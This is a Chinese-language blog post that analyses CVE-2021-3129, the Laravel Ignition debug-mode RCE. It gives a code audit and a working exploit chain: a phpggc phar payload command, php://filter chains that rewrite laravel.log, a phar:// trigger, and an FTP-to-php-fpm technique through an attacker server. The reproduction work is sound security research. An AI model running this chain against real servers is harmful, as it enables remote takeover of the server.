CVE-2021-3129 Laravel Debug mode RCE 漏洞分析-安全客

0x00 前言

这是笔者第一次撰写漏洞分析的文章，Ignition 个人并没有深入的开发经验，所以有部分可能写得不是那么“入行”，在浏览了许多官方文档粗略了解的情况下，复现并分析了这个漏洞。

总之，如有不当，烦请评论捉虫，我会在第一时间响应并评论提示，谢谢。

0x01 简介

Laravel 是基于 MVC 模式的 php 框架，更多框架知识可参考：

Laravel 框架基础知识总结

Laravel 5.8 中文文档

Ignition 是 Laravel 6 应用程序的默认可自定义的错误页面，它允许在 Flare 上公开分享错误。如果使用有效的 Flare API key 进行配置，则会跟踪在应用程序中发生的错误，包括堆栈跟踪。

Ignition 项目地址

Ignition 官方文档

这篇建议阅读，会帮助后续理解：

Laravel Ignition 功能全解析

漏洞成因

在 Debug 模式下，Laravel 内置的 Ignition 功能某些接口未严格过滤输入数据，导致 file_get_contents() 和 file_put_contents() 函数使用不安全，从而使攻击者能够使用恶意日志文件引起 phar 反序列化攻击，远程执行代码并最终获得服务器权限。

影响版本

Laravel < 8.4.3
Facade Ignition < 2.5.2

配置实验环境

https://github.com/SNCKER/CVE-2021-3129

具体配置参照项目的食用方法，generate app key 刷新显示如下页面即成功。

同时我们还需要一个工具 phpggc 生成 payload：

git clone https://github.com/ambionics/phpggc.git

0x02 复现

以 Ignition 2.5.1 源代码审计。

在功能解析的文章中，我们知道 Igniton 有很多建议的解决方案，这对应着源码中的 Solutions：

我们配置环境做的 generate app key 也在其中。

漏洞成因出自 MakeViewVariableOptionalSolution.php 这个文件过滤不严，举个例子，假如我们使用了一个未知变量：

可以看到使用了 blade 模板。

Ignition 提出的解决方案便是将 {{ $name }} 替换为{{ $name ?? '' }} ，这里我们点击 Make variable optional 前抓包：

post 传递了相应的解决方案类、要替换的变量名以及对应 View 文件路径。

代码审计

接下来审计代码，看上述三个参数是否有可利用的地方。

首先我们从 src/IgnitionServiceProvider.php 中查找对应路由映射的控制器。

src/Http/Controllers/ExecuteSolutionController.php 这是只有单个行为的控制器：

class ExecuteSolutionController
{
    use ValidatesRequests;

    public function __invoke(
        ExecuteSolutionRequest $request,
        SolutionProviderRepository $solutionProviderRepository
    ) {
        $solution = $request->getRunnableSolution();

        $solution->run($request->get('parameters', []));

        return response('');
    }
}

solution 决定解决方案类名：

src/SolutionProviders/SolutionProviderRepository.php ：

public function getSolutionForClass(string $solutionClass): ?Solution
    {
        if (! class_exists($solutionClass)) {
            return null;
        }

        if (! in_array(Solution::class, class_implements($solutionClass))) {
            return null;
        }

        return app($solutionClass);
    }

其确保了我们指向的类实现 RunnableSolution 这个接口，这个参数是不能被随意更改的，pass。

而另外的 parameters 则会被传到各个方案类中：

我们再来看 variableName 和 viewFile：

src/Solutions/MakeViewVariableOptionalSolution.php：

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    .
    .
    .

    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        // 这里写入修改后的文件
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

    public function makeOptional(array $parameters = [])
    {
        /* 注解 1:
         * 读取 viewFile 文件内容，然后判断 variableName 是否设置并非 NULL(isset)，决定对文件的操作:
         * (1) 已设置，什么都不做。
         * (2) 未设置，就将 '$'.$parameters['variableName'] 替空('')
         */
        $originalContents = file_get_contents($parameters['viewFile']);
        $newContents = str_replace('$'.$parameters['variableName'], 
                                   '$'.$parameters['variableName']." ?? ''", 
                                   $originalContents);

        /* 注解 2:
         * 对原始文件内容和修改后的文件内容字符进行了解析，然后使用 Zend 引擎的语法分析器获取源码中的 PHP 语言的解析器代号
         * 等价于分析代码结构
         */
        $originalTokens = token_get_all(Blade::compileString($originalContents));
        $newTokens = token_get_all(Blade::compileString($newContents));

        /* 注解 3:
         * 进行了一次“正确”的代码结构分析，如果我们对 variableName 动了些手脚，它可以通过结果对比阻止我们修改文件
         * 当然如果比对正确，修改后的文件将会被写入
         */
        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
        if ($expectedTokens !== $newTokens) {
            return false;
        }

        return $newContents;
    }

    // 正常情况下的 token_get_all() 执行结果生成
    protected function generateExpectedTokens(array $originalTokens, string $variableName): array
    {
        $expectedTokens = [];
        foreach ($originalTokens as $token) {
            $expectedTokens[] = $token;
            if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_COALESCE, '??', $token[2]];
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
            }
        }

        return $expectedTokens;
    }
}

配合代码的三条注解理解，variableName 其实等同于加密口令，我们很难绕过这个验证。

而最后一个变量 viewFile ，有读写两个操作，且没有任何过滤：

$originalContents = file_get_contents($parameters['viewFile']);
if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
}

而 file_get_contents 通过 phar:// 伪协议解析 phar 文件时，会将 meta-data 进行反序列化，我们或许可以利用它来 RCE 。

漏洞分析

接下来我们从两个问题出发，分析如何去利用这个漏洞。

写入什么样的文件？

现在，我们的目的是要找合适的文件写入，之前的情况是使用了未知变量，但因为 variableName 修改文件内容前有严格验证，我们并不能利用它，也不能从页面得到任何有效信息，已存在的文件同理。

那么，最后的选项便是日志文件了。

Laravel 使用 Monolog 库为各种强大的日志处理程序提供支持，config/app.php 配置文件的 debug 选项决定了是否向用户显示错误信息。默认情况下，此选项设置为获取存储在 .env 文件中的 APP_DEBUG 环境变量的值，默认的 Laravel 日志记录在一个文件 storage/logs/laravel.log 。

我们复现的环境本来就是处于 Debug 模式下，本来对于本地开发，应该将 APP_DEBUG 环境变量设置为 true 。而在生产环境中，此值应始终保持 false 。如果在生产中将该值设置为 true ，则有可能会将敏感的配置信息暴露给应用程序的最终用户，这也是该漏洞的一大成因。举个例子，我们来尝试加载一个不存在的 View 文件：

再来看实例的 log 文件是否有对应记录：

成功了，这样我们可以尝试注入精心构造的 payload 通过日志文件获取想要的信息。

如何转换文件？

虽能写入日志文件，还是有几个问题需要注意：

我们写入了日志文件后，要怎么让其作为 php 文件解析？

后缀名是不能变的，那么自然而然想到了 phar 来伪造。

phar 文件只要有正确的 stub 即可，它可以理解为一个标志，格式为 xxx<?php xxx; __HALT_COMPILER();?>，前面内容不限，但必须以 __HALT_COMPILER();?> 来结尾，否则 phar 扩展将无法识别这个文件为 phar 文件。

我们如何转换 log 文件为 phar ？

用 php://filter 在文件返回前更改其内容？

CTFer 应该很熟悉，在读取包含有敏感信息的 php 等源文件时，为了规避特殊字符造成混乱，先将“可能引发冲突的代码”编码一遍，如 b64 ：

php://filter/read=convert.base64-encode/resource=xxx.php

而 php 在进行 b64 解码时，不符合 b64 标准的字符将被忽略，也就是说仅将合法字符组成密文进行解码，这个特性在绕过“死亡 exit”时经常被用到，解密等同于以下代码：

<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

看上去这个方法是可行的，但日志文件并非完全由我们写入的内容组成，还有旧记录，并且我们注入生成的记录会类于以下格式：

[2021-02-10 14:35:38] local.ERROR: file_get_contents(snovving): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(snovving): failed to open stream: No such file or directory at /src/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/src/vendor/fac...', 75, Array)
#1 /src/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents('snovving')

...

#36 /src/server.php(21): require_once('/src/public/ind...')
#37 {main}
"}

可以看到 payload (snovving) 出现了三次，还有时间前缀和后面大量堆栈跟踪的信息，注入的内容只占其中很小一部分，这意味着返回的内容将是巨量的。

同时还有个非常严重的问题，b64 解码是 4 比特一组，== 或 = 只会出现在末尾，它们代表最后一组的代码只有 8 位或 16 位，如果 = 出现在了中间，因为是 b64 合法字符不会被忽略，也绝大可能不能被正确解码，也就是说，php 将会报错，这样将不会返回任何结果。

综上所述，即使我们利用多次 b64 解码吃掉其他字符，也很大可能出现错误（=），并不能精确地转换为 phar ，而且构造上也很繁琐，因为我们在实际测试中，并不知道旧记录，也不知道 log_max_files 最大的日志文件数。

思考到这，既然文本量大，在注入前，我们索性彻底清空 log 文件，这样文件内容就完全是我们 payload 的记录了，届时再来想办法用 b64 吃字符转换，化大为小。

确定思路后，我们先来观察单个错误记录，之前我们注意到它出现了三次，但我们现在要关注的是 payload 完整出现的地方：

这里我用了更明显的 payload ，可以看到完整出现的有两处，记录结构也就相当于：

[x1]payload[x2]payload[x3]

即使加上以前日志记录：

[x0]
[x1]payload[x2]payload[x3]

这般，我们清空 log ，也就删除了 [x0] 。

清空 log 文件

作者提到有一个过滤器（并未被官方文档记录）可以完全清除：

php://filter/read=consumed/resource=../storage/logs/laravel.log

处理单个错误

虽然单独的 b64 不能清除 [x1]~[x3] ，但我们不只有这一个过滤器，况且 php://filter 是允许使用多个过滤器的。

处理单个错误的思路，便是把 [xn] 这部分内容尽可能变成非 b64 合法字符，最后一次性 b64 解码吃掉，就剩下了我们的 payload ，phar 文件。

可用过滤器列表

由此，我们需要选择方便构造的过滤器，例如 utf-16 转换为 utf-8 ：

<?php
    $fp = fopen('php://output', 'w');
    stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
    fwrite($fp, "T\0h\0i\0s\0 \0i\0s\0 \0a\0 \0t\0e\0s\0t\0.\0\n\0");
    fclose($fp);
    /* Outputs: This is a test. */
?>

测试一下：

echo -ne '[x1]p\0a\0y\0l\0o\0a\0d\0[x2]p\0a\0y\0l\0o\0a\0d\0[x3]' > /tmp/test.txt

php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
硛崱payload硛崲payload硛崳

这样 [xn] 的部分就都变成了非 ascii 字符，接下来就要想办法让两处完整 payload 只出现一次。

因为 utf-16 使用两个字节，我们可以在后面加一字节，从而使第二处解码错误：

echo -ne '[x1]p\0a\0y\0l\0o\0a\0d\0X[x2]p\0a\0y\0l\0o\0a\0d\0X[x3]' > /tmp/test.txt

php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
硛崱payload存㉸灝愀礀氀漀愀搀堀硛崳

这样做还有一个好处，因为我们的 payload 不一定像示例一样奇数个能对齐，或许是如 snovving 这样的偶数个字符：

echo -ne '[x1]s\0n\0o\0v\0v\0i\0n\0g[x2]s\0n\0o\0v\0v\0i\0n\0g[x3]' > /tmp/test.txt

php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
硛崱snovvin孧㉸獝渀漀瘀瘀椀渀最硛崳

可以看到最后的 g 没有解码成功，但我们加上一字符：

echo -ne '[x1]s\0n\0o\0v\0v\0i\0n\0g\0X[x2]s\0n\0o\0v\0v\0i\0n\0g\0X[x3]' > /tmp/test.txt

php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
硛崱snovving存㉸獝渀漀瘀瘀椀渀最堀硛崳

就能保证有一处解码是完全正确的。

上述都是建立在日志文件本身是两个字节对齐的前提下，但如果不是的话，我们仍会在 [x1]~[x3] 解码错误：

PHP Warning:  file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in php shell code on line 1

所以我们得想办法让这个文件 [x1]~[x3] 的部分尽量“均匀”，能无限接近“整除”，这样想就很明确了，两倍。

我们在发送攻击 payload 之前，先随便发送一个无害的，届时日志文件就是这样的构造，保证了两字节：

[x1_1]payload1[x1_2]payload1[x1_3]
[x2_1]payload2[x2_2]payload2[x2_3]

最后，便是对空字节的处理，它只有一字节，而 file_get_contents() 在加载有空字节的文件时会 warning ：

PHP Warning:  file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1

所以我们要对它进行填充编码，相信有过一定计网知识的会联想到 quoted-printable 这种内容传送编码。

quoted-printable

这种编码方法的要点就是对于所有可打印字符的 ascii 码，除特殊字符等号 = 外，都不改变。

= 和不可打印的 ascii 码以及非 ascii 码的数据的编码方法是：

先将每个字节的二进制代码用两个十六进制数字表示，然后在前面再加上一个等号 = 。

举例如 = ，它的编码便是 =3D ，3D 可对照十六进制 ascii 码表得到。

在清空了 log 文件、传送两个 payload 后，文件中只有两个错误信息记录，也就是说，只有少量的非 ascii 码，用这种编码方式再适合不过，并且，它也有对应的过滤器 convert.quoted-printable-decode ：

<?php
    $fp = fopen('php://output', 'w');
    stream_filter_append($fp, 'convert.quoted-printable-encode');
    fwrite($fp, "This is a test.\n");
    /* Outputs:  =This is a test.=0A  */
?>

空字节的编码，自然是 =00 。

至此，我们的转换链就能构造了：

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log

综上，两个问题的提出和解决，攻击思路已经非常明晰了：

编码构造 payloadb64 -> quoted-printable ，这里构造好后，还要在末尾添加一字符，确保有且只有一处是完整的 payload 。
清空 log 文件
发送无害 payload 对齐
发送攻击 payload
解码转换 log 至 pharquoted-printable -> utf-16 转 utf-8 -> b64
phar 伪协议执行

漏洞利用

编码构造，需要在 phpggc 目录中运行，结果保存在 payload.txt 中，记得在末尾添加一个字符，如 a ，这里我并未用作者博客中的生成指令，两个 sed 表达式并不能百分百正确 quoted-printable 编码，我参考了作者写的 exp 脚本，quoted-printable 本质上就是将每个字节的十六进制数前加一个 = ，所以能得出指令：

php -d 'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt

清空 log 文件：

php://filter/read=consumed/resource=../storage/logs/laravel.log

发送无害 payload ：

AA

将第一步构造好的 payload 发送（注意末尾的 a 是我们前面添加的）：

=50=00=44=00=39=00=77=00=61=00=48=00=41...=00=43=00=54=00=55=00=49=00=3D=00a

转换文件：

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

注意转换文件这步一定要无返回信息，如果有错误，说明前几步根本没到位。

此时的 log 文件一定只有一条完整的 payload ，也就是纯净的 phar 文件：

伪协议：

phar://../storage/logs/laravel.log/test.txt

利用成功。

我们安装的 docker 环境自带有 exp 脚本，github 上也有很多如一键 getshell 的优秀脚本，建议阅读实践，可以参考这个博客尝试运行，也可以试着自写脚本添加更多链生成的 payload ，增强通杀能力。

漏洞拓展

让我更感兴趣的是作者提出的另一个思路：使用 ftp 同 php-fpm 对话。

经过上面的漏洞分析，我们知道我们可以通过 file_put_contents() 写入任意数据至 log 文件，然后经 file_get_contents() 读回，作者利用这向目标发出 http 请求扫描了通用端口，并发现 php-fpm 在监听端口 9000 。

php-fpm

php-fastcgi 进程管理器，用于管理 php 进程池的软件，用于接受 web 服务器的请求，它会创建一个主进程，控制何时以及如何将http 请求转发给一个或多个子进程处理。

php-fpm 主进程还控制着什么时候创建（处理Web应用更多的流量）和销毁（子进程运行时间太久或不再需要了）PHP子进程。

php-fastcgi 只是一个 cgi 程序，只会解析 php 请求，并且返回结果，不会管理（因此才出现的 php-fpm）。

综上，也就是说，如果可以向 php-fpm 服务发送任意二进制数据包，就可以在机器上执行代码。这种技术通常与 gopher:// 协议配合使用，后者由 curl 支持，但 php 不支持。

所以我们需要找到另一个能让我们发送二进制数据包的协议，那就是被动模式下的 ftp ，它可以通过 tcp 连接发送。如果客户机想从 ftp 服务器上读取 / 写入一个文件，ftp 服务器会告诉客户机从某个特定 IP 和端口进行文件操作，IP 和端口并无限制，例如服务器自己的端口。

那么如何使用 ftp 同 php-fpm 对话进行漏洞利用呢？

ftp://evil-server.lexfo.fr/file.txt

我们使用 ftp 协议的被动模式让 file_get_contents() 在我们的服务器上下载一个文件，当它尝试使用 file_put_contents() 上传文件时，我们让它将文件发送到 127.0.0.1:9000 ，也就是 php-fpm 。

图源自原作者博客。

这样就能发送任意二进制数据包，RCE 。

0x03 小结

总结一下知识点：

phar 反序列化 RCE如果有不了解可以参照这篇文章，非常精简易懂：https://paper.seebug.org/680/
php://filter 多个过滤器配合妙用这个知识点墙裂推荐阅读 p 神的这篇文章：https://www.leavesongs.com/PENETRATION/php-filter-magic.html同时这个原作者也提到过 orange 大神出的 hitcon ctf 2018 One Line PHP Challenge 这道题，也用了过滤器，可以阅读一下 wp 学习。
使用 ftp 同 php-fpm 对话这个可以参考 hxp-2020 的 resonator 这道题。

感谢你能阅读到这，希望我写得足够清晰，能帮助到你理解这个漏洞。

CVE-2021-3129 Laravel Debug mode RCE 漏洞分析

译文声明

0x00 前言

0x01 简介

漏洞成因

影响版本

配置实验环境

0x02 复现

代码审计

漏洞分析

写入什么样的文件？

如何转换文件？

处理单个错误

漏洞利用

漏洞拓展

0x03 小结

发表评论

TA的文章

CVE-2021-40438 Apache mod_proxy SSRF 漏洞分析

PHP 代码审计系列（一）重装漏洞

从 hxp 一道题来看利用 ftp 与 php-fpm 对话 RCE

CVE-2021-3129 Laravel Debug mode RCE 漏洞分析

相关文章

Plane 项目管理工具修补关键 SSRF 漏洞 - CVE-2024-47830 (CVSS 9.3)

CVE-2023-36802 与一种新的读写原语 ioring

CVE-2023-29360：一个品相极好的提权漏洞

由Django-Session配置引发的反序列化安全问题

CVE-2023-36900 clfs.sys 提权漏洞分析

最新权限提升漏洞 CVE-2023-28252 分析

CVE-2023-21839 WebLogic Server RCE分析

热门推荐